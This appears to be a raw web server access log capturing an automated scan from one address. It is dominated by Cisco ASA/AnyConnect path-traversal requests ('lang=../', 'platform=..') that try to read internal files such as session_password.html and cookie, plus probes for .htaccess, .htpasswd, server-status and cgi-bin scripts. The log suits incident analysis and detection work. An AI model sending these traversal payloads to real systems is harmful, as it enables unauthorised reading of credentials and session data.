[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/commonspawn.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/commonspawn.js HTTP/1.1" 196
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /snmx-cgi/fxm.exe HTTP/1.1" 196
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sdn/ui/app/index HTTP/1.1" 196
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/common.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/common.js HTTP/1.1" 196
[30/Apr/2022:06:34:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web/#/login HTTP/1.1" 226
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/appstart.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /platform-ui/ HTTP/1.1" 196
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/appstart.js HTTP/1.1" 196
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/appstatus&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test-cgi HTTP/1.1" 779
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/appstatus HTTP/1.1" 196
[30/Apr/2022:06:34:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /server-info HTTP/1.1" 196
[30/Apr/2022:06:34:42 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/relaymonjar.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html HTTP/1.1" 196
[30/Apr/2022:06:34:42 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/relaymonjar.html HTTP/1.1" 196
[30/Apr/2022:06:34:42 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/relaymonocx.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/relaymonocx.html HTTP/1.1" 196
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/relayjar.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/relayjar.html HTTP/1.1" 196
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:43 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/relayocx.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/relayocx.html HTTP/1.1" 196
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal_img&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_img HTTP/1.1" 196
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/color_picker.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pluto/portal/ HTTP/1.1" 196
[30/Apr/2022:06:34:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:45 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/color_picker.js HTTP/1.1" 196
[30/Apr/2022:06:34:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nifi/ HTTP/1.1" 196
[30/Apr/2022:06:34:45 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/color_picker.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:45 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/color_picker.html HTTP/1.1" 196
[30/Apr/2022:06:34:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:45 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cedhelp.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cedhelp.html HTTP/1.1" 196
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cedmain.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cedmain.html HTTP/1.1" 196
[30/Apr/2022:06:34:46 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cedlogon.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/upload.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:47 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cedlogon.html HTTP/1.1" 196
[30/Apr/2022:06:34:47 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cedportal.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:47 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cedportal.html HTTP/1.1" 196
[30/Apr/2022:06:34:47 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cedsave.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:48 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cedsave.html HTTP/1.1" 196
[30/Apr/2022:06:34:48 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cedf.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:48 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cedf.html HTTP/1.1" 196
[30/Apr/2022:06:34:49 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/ced.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:49 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/ced.html HTTP/1.1" 196
[30/Apr/2022:06:34:49 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/lced.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:49 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/lced.html HTTP/1.1" 196
[30/Apr/2022:06:34:50 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/files&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:50 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/files HTTP/1.1" 196
[30/Apr/2022:06:34:50 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/041235123432C2&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:50 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/041235123432C2 HTTP/1.1" 196
[30/Apr/2022:06:34:51 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/041235123432U2&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:51 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/041235123432U2 HTTP/1.1" 196
[30/Apr/2022:06:34:51 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/pluginlib.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:51 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/pluginlib.js HTTP/1.1" 196
[30/Apr/2022:06:34:52 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/shshim&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/urlcount.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:52 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/shshim HTTP/1.1" 196
[30/Apr/2022:06:34:52 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/do_url&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:53 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/do_url HTTP/1.1" 196
[30/Apr/2022:06:34:53 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/clear_cache&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:53 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/clear_cache HTTP/1.1" 196
[30/Apr/2022:06:34:53 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/connection_failed_form&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:54 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/connection_failed_form HTTP/1.1" 196
[30/Apr/2022:06:34:54 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/apcf&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:54 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/apcf HTTP/1.1" 196
[30/Apr/2022:06:34:54 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/ucte_forbidden_data&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:55 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/ucte_forbidden_data HTTP/1.1" 196
[30/Apr/2022:06:34:55 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/ucte_forbidden_url&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:55 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/ucte_forbidden_url HTTP/1.1" 196
[30/Apr/2022:06:34:55 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/cookie&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:56 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/cookie HTTP/1.1" 196
[30/Apr/2022:06:34:56 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/session_password.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:56 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/session_password.html HTTP/1.1" 196
[30/Apr/2022:06:34:57 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/tunnel_linux.jnlp&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:57 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/tunnel_linux.jnlp HTTP/1.1" 196
[30/Apr/2022:06:34:57 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/tunnel_mac.jnlp&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/viewcvs.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:57 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/tunnel_mac.jnlp HTTP/1.1" 196
[30/Apr/2022:06:34:58 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/sdesktop&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:58 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/sdesktop HTTP/1.1" 196
[30/Apr/2022:06:34:58 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/gp-gip.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:58 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/gp-gip.html HTTP/1.1" 196
[30/Apr/2022:06:34:59 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/auth.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:59 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/auth.html HTTP/1.1" 196
[30/Apr/2022:06:34:59 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/wrong_url.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:59 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/wrong_url.html HTTP/1.1" 196
[30/Apr/2022:06:35:00 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/logon_redirect.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:35:00 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/logon_redirect.html HTTP/1.1" 196
[30/Apr/2022:06:35:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:00 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/logout.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:35:01 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/logout.html HTTP/1.1" 196
[30/Apr/2022:06:35:01 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/logon.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:35:01 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/logon.html HTTP/1.1" 196
[30/Apr/2022:06:35:01 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/test_chargen&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:35:02 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/test_chargen HTTP/1.1" 196
[30/Apr/2022:06:35:02 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/posturl.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:35:02 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/posturl.html HTTP/1.1" 196
[30/Apr/2022:06:35:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa HTTP/1.1" 196
[30/Apr/2022:06:35:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 226
[30/Apr/2022:06:35:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.cgi HTTP/1.1" 196
[30/Apr/2022:06:35:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.exe HTTP/1.1" 196
[30/Apr/2022:06:35:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ruei/index.php HTTP/1.1" 196
[30/Apr/2022:06:35:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /server-status HTTP/1.1" 196
[30/Apr/2022:06:35:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /server-info HTTP/1.1" 196
[30/Apr/2022:06:35:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess HTTP/1.1" 199
[30/Apr/2022:06:35:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htpasswd HTTP/1.1" 199
[30/Apr/2022:06:35:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /?M=A HTTP/1.1" -
[30/Apr/2022:06:35:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /? HTTP/1.1" -
[30/Apr/2022:06:35:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:35:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET // HTTP/1.1" -
